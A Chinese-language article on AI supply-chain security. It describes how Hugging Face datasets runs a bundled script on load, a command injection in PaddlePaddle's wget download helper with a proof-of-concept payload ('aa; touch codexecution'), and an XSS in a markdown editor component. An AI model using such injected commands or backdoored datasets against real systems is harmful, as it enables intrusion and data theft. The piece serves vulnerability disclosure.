人工智能供应链安全专题（2）大语言语言模型安全攻击以及AI供应链漏洞

腾讯朱雀实验室在对datasets等AI开源组件进行安全研究时发现，开发者通常会使用datasets组件的load_dataset函数加载数据集，为了考虑支持更复杂的数据处理格式或流程，当加载的数据集下包含有与数据集同名的Python脚本时，将会默认运行该脚本。

由于Hugging Face平台上的数据集都由用户上传，如果数据集中的Python脚本包含恶意行为，那么会造成严重的安全风险，如下图所示，攻击者构造的恶意脚本会主动连接攻击者服务器，并等待攻击者下发执行系统命令，最终窃取受害者服务器上的敏感数据。

利用该特性，攻击者可通过在Hugging Face、Github及其他渠道分发包含恶意后门代码的数据集，当开发者通过datasets组件加载恶意数据集进行训练或微调时，数据集里的恶意后门代码将会运行，从而导致AI模型、数据集、代码被盗或被恶意篡改。

作为AI领域的基础库，datasets拥有很大的下载量，根据pypistats网站统计，最近一天下载量将近10万。一旦有恶意数据集在网络上被大范围传播与使用，将会有大量开发者遭受这种供应链后门投毒攻击。

def _wget_download(url, fullname):    # using wget to download url    tmp_fullname = fullname + "_tmp"    # –user-agent    command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'    subprc = subprocess.Popen(        command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE    )

from paddle import utilsutils.download._wget_download("aa; touch codexecution", "bb")

wget -O bb_tmp -t 3 aa; touch codexecutioncodeexecution

“项目描述”和“报告”部分中使用的 Markdown 编辑器组件未应用适当的数据清理。当未经筛选的数据传递到此组件时，它允许注入恶意 XSS 有效负载。

/app/webapp-common/project-info/project-info.component.ts

this.info = project.description;

然后在这里渲染：

  <sm-markdown-editor    #editor    *ngIf="!loading"    [class.editor]="editor.editMode"    [data]="info"    [readOnly]="example"    (saveInfo)="saveInfo($event)"  >    <div no-data class="flex-middle overview-placeholder" *ngIf="!example">      <i class="icon i-markdown xxl"></i>      <div class="no-data-title">THERE’S NOTHING HERE YET…</div>      <button (click)="editor.editClicked()" class="no-data-button btn btn-neon">        <span>ADD PROJECT OVERVIEW</span>      </button>    </div>  </sm-markdown-editor></div>

转载翻译汇总文献图片来源：

[1]huntr - 世界上第一个用于 AI/ML 的漏洞赏金平台：https://huntr.com/

[2]Protect AI | Home：https://protectai.com/

[3]赵月,何锦雯,朱申辰等.大语言模型安全现状与挑战[J].计算机科学,2024,51(01):68-71.

[4]警惕Hugging Face开源组件风险被利用于大模型供应链攻击 - 腾讯安全应急响应中心 (tencent.com) :